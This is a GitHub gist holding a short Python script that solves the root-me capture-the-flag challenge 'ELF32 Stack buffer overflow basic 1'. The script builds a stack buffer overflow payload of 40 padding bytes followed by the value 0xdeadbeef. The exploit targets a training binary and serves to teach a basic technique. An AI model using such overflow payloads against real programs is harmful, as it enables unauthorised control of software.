Created
December 9, 2016 15:06
-
-
Save Creased/16691af067fdff9c2a62727b3d33e337 to your computer and use it in GitHub Desktop.
Buffer overflow exploit template
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding:Utf-8 -*- | |
#==========================================================# | |
# [+] Title: Exploitation code for root-me challenge # | |
# ELF32 - Stack buffer overflow basic 1 # | |
# [+] Author: Baptiste M. (Creased) # | |
# [+] Website: bmoine.fr # | |
# [+] Email: contact@bmoine.fr # | |
# [+] Twitter: @Creased_ # | |
#==========================================================# | |
import struct | |
def p(x): | |
return struct.pack('<L', x) | |
def x(s): | |
s = s.encode("hex") | |
s = [s[i:i + 2] for i in range(0, len(s), 2)] | |
x = "" | |
for c in s: | |
x += str('\\') + 'x' + str(c) | |
return x | |
payload = 'A' * 40 # Padding to fill buffer | |
payload += p(0xdeadbeef) # Payload | |
print payload |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment